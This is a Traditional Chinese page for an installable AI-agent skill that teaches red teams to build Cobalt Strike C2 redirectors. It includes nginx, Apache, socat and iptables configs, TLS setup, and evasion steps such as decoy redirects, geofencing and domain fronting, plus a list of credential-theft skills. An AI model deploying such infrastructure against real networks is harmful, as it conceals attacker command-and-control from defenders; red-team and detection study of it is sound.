Communitygithub.com

構建 C2 重定向器基礎設施

使用 nginx (proxy_pass) 和 Apache (mod_rewrite) 構建 dumb-pipe 和流量過濾型 C2 重定向器,從 Malleable C2 設定檔中衍生過濾規則,並層疊 Let's Encrypt TLS 終止。

構建 C2 重定向器基礎設施 是什麼?

這項技能專注於為授權的紅隊演練或對手模擬建立命令與控制 (C2) 重定向器。重定向器作為一個中間主機,位於受感染的植入程式與隱藏的團隊伺服器之間,可保護團隊伺服器不被發現、關閉或歸因。該技能涵蓋兩種主要類型:「dumb-pipe」重定向器(使用 socat 或 iptables 進行簡單的埠轉發)和「智慧型/過濾型」重定向器(使用 nginx 或 Apache 的 mod_rewrite)。後者會解析 HTTP 請求,僅轉發與 Malleable C2 設定檔(URI、User-Agent、標頭)相符的流量,並將其他所有流量重新導向至良性的誘餌網站。在支援的平台上,這項技能還涵蓋使用 Let's Encrypt 進行 TLS 終止、透過 cs2modrewrite 從 Cobalt Strike 設定檔自動產生規則,以及應用地理過濾、標頭驗證和網域分級等 OPSEC 控制措施。它適用於任何允許自訂 HTTP 設定檔的 C2 框架,並提供使用 curl 進行驗證的步驟,以確保重定向器正確地分流植入程式流量與掃描器/分析師流量。

相容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/building-c2-redirector-infrastructure

在你喜歡的 AI 中提問

開啟一個已預先載入此 Agent Skill 的新對話。

說明文件

構建 C2 重定向器基礎設施 是做什麼的?

僅限授權使用: 此技能僅適用於授權的紅隊演練、對手模擬練習及防禦性研究。命令與控制基礎設施具有雙重用途;部署重定向器來控制在未經明確授權的系統上的惡意軟體是違法的。請僅在已簽署規則約定文件的協定範圍內操作,並在演練結束時解除基礎設施。

概述

C2 重定向器是一個中間主機,位於受感染的植入程式與真實的團隊伺服器之間。Beacon 連接到重定向器的公開網域/IP;重定向器檢查每個請求,並將合法的 C2 流量代理回隱藏的團隊伺服器,或將所有其他流量(掃描器、藍隊分析師、沙箱)導向良性的誘餌網站。這能保護團隊伺服器不被發現、關閉和歸因,並允許操作員在不重建後端的情況下輪換公共邊緣節點。此技術對應到 MITRE ATT&CK T1090.002(代理:外部代理)——攻擊者透過中間節點路由 C2 以隱藏真實來源。

重定向器有兩種形式。Dumb pipes(socat、iptables NAT)盲目地轉發埠,提供隔離但無過濾功能。智慧型/過濾型重定向器(nginx proxy_pass、Apache mod_rewrite 搭配 [P],或像 RedWarden 等專用工具)會解析 HTTP 請求,並僅轉發與植入程式的 Malleable C2 設定檔相符的流量——正確的 URI、User-Agent、標頭——同時將其他所有流量以 302 重新導向至真實網站。過濾邏輯直接從 C2 框架的流量設定檔中衍生,因此兩者必須保持同步。諸如 cs2modrewrite 之類的工具可自動從 Cobalt Strike Malleable C2 設定檔產生 Apache/nginx 規則。

此技能涵蓋使用 nginx 和 Apache 構建 dumb 和過濾型重定向器、從 malleable 設定檔衍生過濾規則、使用 Let's Encrypt 層疊 TLS,以及應用 OPSEC 控制措施(分類網域、網域前端/CDN 前端、標頭驗證、地理位置/UA 過濾),以建立具彈性且低歸因性的基礎設施。

使用時機

  • 建立必須在藍隊初步分析和網域關閉請求中存活的紅隊 C2。
  • 在演練期間將隱藏的團隊伺服器與任何面向網際網路的主機分離。
  • 過濾植入程式流量,使只有符合設定檔的請求才能到達後端,同時分流掃描器。
  • 為 HTTP(S) 監聽器添加 TLS 終止、網域分類和 CDN/網域前端。
  • 教導防禦者如何建構外部代理 C2(T1090.002),以便他們能夠偵測到它。

先決條件

  • 一個或多個可拋棄的雲端 VPS 實例(重定向器邊緣節點)和一個獨立的、有防火牆保護的團隊伺服器主機。
  • 一個已註冊、DNS 可控的網域,最好是老舊且已分類的。
  • 重定向器主機的 root 權限。安裝 Web 伺服器和 TLS 工具:
    # Debian/Ubuntu 重定向器
    sudo apt update
    sudo apt install -y nginx apache2 socat certbot python3-certbot-nginx git
    # 如果使用 mod_rewrite 重定向器,啟用 Apache 代理模組
    sudo a2enmod rewrite proxy proxy_http ssl headers
    
  • 定義 URI、User-Agent 和標頭的 C2 框架 Malleable C2 設定檔(Cobalt Strike .profile、Sliver/Havoc HTTP profile)。
  • cs2modrewrite 用於從 Cobalt Strike 設定檔自動產生規則:
    git clone https://github.com/threatexpress/cs2modrewrite
    
  • 設定防火牆,使團隊伺服器僅接受重定向器來源 IP 對 C2 埠的連線。

目標

  • 部署一個 dumb-pipe 重定向器(socat/iptables),用於快速的埠分離。
  • 部署一個基於 malleable 設定檔的過濾型 nginx 反向代理重定向器。
  • 部署一個使用 mod_rewrite 搭配 [P] 代理和 302 誘餌回退的 Apache 重定向器。
  • 使用 cs2modrewrite 從 Cobalt Strike 設定檔自動產生重定向器規則。
  • 使用 Let's Encrypt 終止 TLS 並強化公共邊緣節點。
  • 應用 OPSEC:標頭/UA 驗證、地理過濾、誘餌分流和基礎設施輪換。

MITRE ATT&CK 對應

技術 ID官方名稱相關性
T1090.002代理:外部代理重定向器是一個外部中介,用於代理 C2 以隱藏團隊伺服器
T1090.004代理:網域前端CDN 前端透過一個受信任的高信譽網域路由 beacon 流量
T1071.001應用層協定:Web 協定C2 透過由 malleable 設定檔塑形的 HTTP/HTTPS 進行隧道傳輸
T1573.002加密通道:非對稱加密在重定向器處進行 TLS 終止,可加密 beacon 通道
T1583.006取得基礎設施:Web 服務為建立具彈性的 C2,取得可拋棄的 VPS/CDN 邊緣節點

工作流程

1. 實驗室設定並為團隊伺服器設定防火牆

將團隊伺服器放置在私有主機上。將其 C2 埠限制為僅允許重定向器的 IP 存取。

# 在團隊伺服器上:僅允許重定向器(203.0.113.10)存取 443/tcp
sudo ufw default deny incoming
sudo ufw allow from 203.0.113.10 to any port 443 proto tcp
sudo ufw allow OpenSSH
sudo ufw enable

2. Dumb-pipe 重定向器(socat / iptables)

如需快速隔離且無需過濾,可將 C2 埠轉發到團隊伺服器。

# socat 前台轉發 443 -> 團隊伺服器
socat TCP4-LISTEN:443,fork,reuseaddr TCP4:10.0.0.2:443

# 或使用 iptables DNAT(持久化)
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2:443
iptables -t nat -A POSTROUTING -p tcp -d 10.0.0.2 --dport 443 -j MASQUERADE

3. 過濾型 nginx 反向代理重定向器

僅代理 URI 符合 malleable 設定檔的請求;將所有其他請求以 302 發送到誘餌網站。請將 location 正則表達式和 User-Agent 替換為您設定檔中的值。

# /etc/nginx/sites-available/redirector.conf
server {
    listen 443 ssl;
    server_name cdn.example.com;

    ssl_certificate     /etc/letsencrypt/live/cdn.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/cdn.example.com/privkey.pem;

    # 僅代理符合設定檔的 C2 URI 到隱藏的團隊伺服器
    location ~ ^/(api/v2/jobs|cm/[a-z0-9]+|push) {
        # 要求植入程式的確切 User-Agent
        if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") {
            return 302 https://www.legitimate-decoy.com/;
        }
        proxy_pass https://10.0.0.2;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }

    # 其他所有請求 -> 良性誘餌
    location / {
        return 302 https://www.legitimate-decoy.com/;
    }
}
sudo ln -s /etc/nginx/sites-available/redirector.conf /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx

4. Apache mod_rewrite 重定向器

Apache 的 [P] 標誌將符合條件的請求代理到團隊伺服器;不符合條件的請求則獲得 302 重新導向。這是 cs2modrewrite 產生的格式。

# /etc/apache2/sites-available/redirector.conf(在 <VirtualHost *:443> 內部)
RewriteEngine On
SSLProxyEngine On
# 要求植入程式的 User-Agent
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" [NC]
# 比對來自 malleable 設定檔的有效 C2 URI(GET/POST/stager)
RewriteCond %{REQUEST_URI} ^/(api/v2/jobs|cm/[a-z0-9]+|push)/?$
# 代理到隱藏的團隊伺服器,保留 URI
RewriteRule ^.*$ https://10.0.0.2%{REQUEST_URI} [P,L]
# 其他所有請求 -> 誘餌網站
RewriteRule ^.*$ https://www.legitimate-decoy.com/ [R=302,L]
sudo a2ensite redirector && sudo apache2ctl configtest && sudo systemctl reload apache2

5. 從 malleable 設定檔產生規則

讓 cs2modrewrite 直接從您的 Cobalt Strike 設定檔建構 Apache 或 nginx 規則,使過濾器確切符合 beacon 流量。

cd cs2modrewrite
# Apache mod_rewrite 規則
python3 cs2modrewrite.py -i havex.profile -c https://10.0.0.2 \
  -r https://www.legitimate-decoy.com -o /etc/apache2/redirect.rules
# nginx 設定
python3 cs2nginx.py -i havex.profile -c https://10.0.0.2 \
  -r https://www.legitimate-decoy.com -H cdn.example.com > /etc/nginx/sites-available/c2.conf

6. 使用 Let's Encrypt 終止 TLS

頒發有效的憑證,使得 beacon HTTPS 不會拋出 TLS 警告,並且邊緣節點看起來合法。

sudo certbot --nginx -d cdn.example.com --agree-tos -m [email protected] --redirect
# 驗證自動續約
sudo certbot renew --dry-run

7. 應用 OPSEC 控制措施

層疊防禦以對抗藍隊分析:驗證標頭、地理圍欄鎖定目標國家、分流沙箱,並輪換邊緣節點。在支援的情況下,考慮 CDN/網域前端(T1090.004)。

# 範例:使用 ipset/GeoIP 在防火牆處丟棄非目標地區的流量,
# 在設定檔中要求自訂授權標頭,並定期輪換重定向器
# 網域/IP。檢查重定向器僅轉發匹配的流量:
curl -k https://cdn.example.com/                       # 預期 302 到誘餌
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
  https://cdn.example.com/api/v2/jobs                  # 預期代理回應

工具與資源

工具用途來源
nginx過濾型反向代理重定向器https://nginx.org/
Apache mod_rewrite[P] 代理 + 302 誘餌重定向器https://httpd.apache.org/docs/current/mod/mod_rewrite.html
cs2modrewrite從 CS 設定檔產生 Apache/nginx 規則https://github.com/threatexpress/cs2modrewrite
RedWarden感知 Malleable 的過濾型 C2 反向代理https://github.com/mgeeky/RedWarden
redi自動化 nginx + Let's Encrypt CS 重定向器https://github.com/taherio/redi
socatDumb-pipe TCP 轉發器http://www.dest-unreach.org/socat/
Let's Encrypt / certbot免費 TLS 憑證https://certbot.eff.org/
ired.team紅隊基礎設施參考https://www.ired.team/offensive-security/red-team-infrastructure

驗證標準

  • 團隊伺服器設定防火牆,僅接受重定向器來源 IP 對 C2 埠的連線。
  • 已部署重定向器(dumb pipe 和/或過濾型反向代理)。
  • 過濾規則衍生自實際的 malleable C2 設定檔(URI + User-Agent + 標頭)。
  • 不符合條件的請求返回 302 到良性誘餌網站(使用 curl 驗證)。
  • 符合條件的 beacon 請求被代理到隱藏的團隊伺服器(使用 curl 驗證)。
  • 已頒發有效的 TLS 憑證,並確認自動續約。
  • 已應用 OPSEC 控制措施(UA/標頭驗證、地理圍欄、誘餌分流)。
  • 在適用的情況下,已考慮網域分類 / CDN 前端。
  • 已記錄基礎設施輪換和解除計畫。
  • 所有活動僅限於授權的演練範圍內。

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

相關技能